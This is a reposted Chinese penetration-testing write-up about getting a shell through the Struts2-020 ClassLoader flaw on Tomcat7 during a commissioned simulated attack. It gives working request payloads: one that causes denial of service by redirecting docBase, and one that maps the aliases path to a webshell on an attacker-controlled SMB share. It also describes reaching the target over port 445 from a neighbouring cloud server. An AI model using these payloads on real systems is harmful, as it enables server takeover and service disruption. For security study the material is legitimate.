在云环境下Tomcat7存在Struts2-020如何Getshell

在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell

一、Struts2-020漏洞原理

Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控class。Struts2-020允许访问直接映射到“getClass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的ClassLoader。简而言之就是可以通过ClassLoader操控Tomcat的一些配置属性,这个漏洞在Tomcat8下是可以getshell的。如下图为tomcat8部分可控属性。

在云环境下Tomcat7存在Struts2-020如何Getshell

Tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下

1.更改Tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下
2.初始化日志文件
3.通过URL访问,在日志中写入一句话
4.菜刀连接一句话成功getshell

二、Tomcat7如何getshell?

一开始以为struts2-010在tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。

拒绝服务攻击:

http://127.0.0.1/s/example/HelloWorld.action?
class.classLoader.resources.dirContext.docBase=”乱填就好”

但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了,难顶还是得顶。

2.1本地枯燥调试

无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。

在云环境下Tomcat7存在Struts2-020如何Getshell

把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!

2.2谷歌大法好

谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classLoader.parent.resources.dirContext.aliases不仅仅可以任意文件读取,文件路径是支持UNC path的即smb路径。这时候我就想既然支持SMB路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!

2.3本地搭建SMB服务并测试

搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到SMB服务器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action? 
class.classLoader.parent.resources.dirContext.aliases=//192.168.1.1/muma.jsp

菜刀一连成功连接:

在云环境下Tomcat7存在Struts2-020如何Getshell

三、环境测试

因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们C段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?

3.1金钱的力量

本来想在C段撸下一台服务器作为SMB服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标IP旁边的某个IP数字吉利为由,通过客服以1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。C段的445端口可以相互访问从而Getshell成功。

四、最后

网站渗透很少有一个POC或者EXP直接打穿的,遇到难题多思考,多搜索。不要放弃,不断尝试,尝试着尝试着就成功了

*本文作者:꧁,转载请注明来自FreeBuf.COM

原文 

https://www.freebuf.com/vuls/234346.html

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 在云环境下Tomcat7存在Struts2-020如何Getshell

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址